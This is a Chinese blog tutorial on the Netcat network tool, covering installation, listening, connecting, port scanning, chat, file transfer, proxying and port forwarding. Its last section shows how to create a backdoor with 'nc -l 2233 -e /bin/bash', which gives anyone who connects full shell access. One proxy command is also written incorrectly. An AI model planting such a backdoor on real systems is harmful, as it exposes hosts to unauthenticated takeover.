链滴

一款实用的网络工具 Netcat

作者：leekeggs
原文链接：https://ld246.com/article/1544267700903
来源网站：链滴

Netcat是一个实用的网络工具，使用TCP / IP协议跨网络连接读取和写入数据。它被设计成一个可靠“后端”工具，可以直接使用或由其他程序和脚本轻松驱动。

使用yum安装netcat

```
yum install nmap-ncat -y
```

使用nc -h查看该命令的用法

```
[wxyuan@node1 ~]$ nc -h
Ncat 7.50 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
```

```
  --ssl-cert          Specify SSL certificate file (PEM) for listening
  --ssl-key           Specify SSL private key (PEM) for listening
  --ssl-verify        Verify trust and domain name of certificates
  --ssl-trustfile     PEM file containing trusted SSL certificates
  --ssl-ciphers       Cipherlist containing SSL ciphers to use
  --version           Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examples
```

分享几个nc的使用例子。

1. 监听入站连接

使用-l选项监听指定端口，默认监听tcp端口

```
nc -l 2233
```

使用-u选项指定监听udp端口。

```
nc -lu 2345
```

使用-k选项可以同时接收多个连接

```
nc -lk 2233
```

2. 连接远程系统

使用nc命令可以建立tcp连接，远程连接到对端主机。比如有A和B两台主机，首先A（假设主机IP为19.168.1.101）在主机上监听一个端口2233,

```
nc -l 2233
```

然后在主机B上使用nc连接到A上

```
nc 192.168.1.101 2233
```

注意使用nc连接端口时，默认连接tcp端口，如果要连接udp端口，请使用-u选项

3. 测试端口连通性和扫描端口

使用-z选择可以测试端口联通性，带上-v选项显示详细信息

```
[wxyuan@node1 ~]$  nc -zv baidu.com 80
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 123.125.115.110:80.
Ncat: 0 bytes sent, 0 bytes received in 0.32 seconds.
```

扫描端口

```
[wxyuan@node1 ~]$ nc -zv localhost 1-100
localhost [127.0.0.1] 22 (ssh) open
localhost [127.0.0.1] 25 (smtp) open
localhost [127.0.0.1] 88 (kerberos) open
```

4. 模拟聊天工具

nc 也可以作为聊天工具来用，我们可以配置服务器监听某个端口，然后从远程主机上连接到服务器这个端口，就可以开始发送消息了。 假设有A(192.168.1.101)和B（192.168.1.102）两台主机。

首先，在A监听一个端口6666

```
nc -l 6666
```

然后，在B机器上使用nc连接到该端口

```
nc 192.168.1.101 6666
```

接下来A和B就可以互相发送消息了，这些消息会在终端上显示出来。

5.传输文件

nc也可以用来发送文件， 假设有A(192.168.1.101)和B（192.168.1.102）两台主机，A主机上有个文readme.txt，现在我们想把这个文件传输到B机器上，那么我们可以这样做：

(1) 首先在B机器上启动 nc 并让它进入监听模式，这里我们监听6789端口

```
nc -l 6789 > readme.txt
```

(2) 然后在A机器上执行如下命令

```
nc 192.168.1.102 6789 < readme.txt
```

文件传输完成后，连接会自动关闭。

一般来说远程传输文件使用scp即可，简单方便，但假如scp不可用了，使用nc传输文件也是一个不错选择。其实我就遇到这种情况，服务器禁止不受信任的IP远程ssh，我便采用了nc来远程传输文件。

6. 使用nc做代理

nc也可以用来做代理，假设有A(192.168.1.101)、B(192.168.1.102)和C(192.168.1.103)三台主机，

首先在A主机上执行下面这条命令

```
nc -l 2233 > nc 192.168.1.102 6789
```

然后在B主机上监听6789端口

```
nc -l 6789
```

所有发往A主机2233端口的连接都会被自动转发到B主机的6789端口，我们在C主机上执行命令nc 192.168.1.101 2233建立一个tcp连接，然后在终端上输入任意消息，你会看到在B主机终端上打印同样的息。

不过由于我们使用了管道，数据只能被单向传输，即消息只能从C发往B，而C不能接收B返回的消息（发送的消息会在A终端上打印出来）。要想同时能够接受返回的数据，我们需要创建一个双向管道。A主机上执行下述命令:

```
mkfifo 2pipes
nc -l 2233 0<2pipes | nc  192.168.1.102 6789 1>2pipes
```

同样地在B主机上监听6789端口

```
nc -l 6789
```

这次在C主机上执行命令nc 192.168.1.101 2233建立tcp连接后，B和C就可以相互发消息了，类似上的聊天例子，只是现在中间多了一个代理。

7. 使用nc做端口转发

通过选项-c选项进行端口转发，实现端口转发的语法为：

```
nc -l 8001 -c 'nc -l 8002'
```

这样，所有连接到8001端口的连接都会被转发到8002端口。

8. 使用nc创建后门

nc命令还可以用来在系统中创建后门，怎么做呢，看下面这条命令

```
nc -l 2233 -e /bin/bash
```

-e选项将一个bash与端口2233相连。现在客户端只要连接到服务器上的2233端口就能通过bash获取们系统的完整访问权限：

```
nc 192.168.1.101 2233
```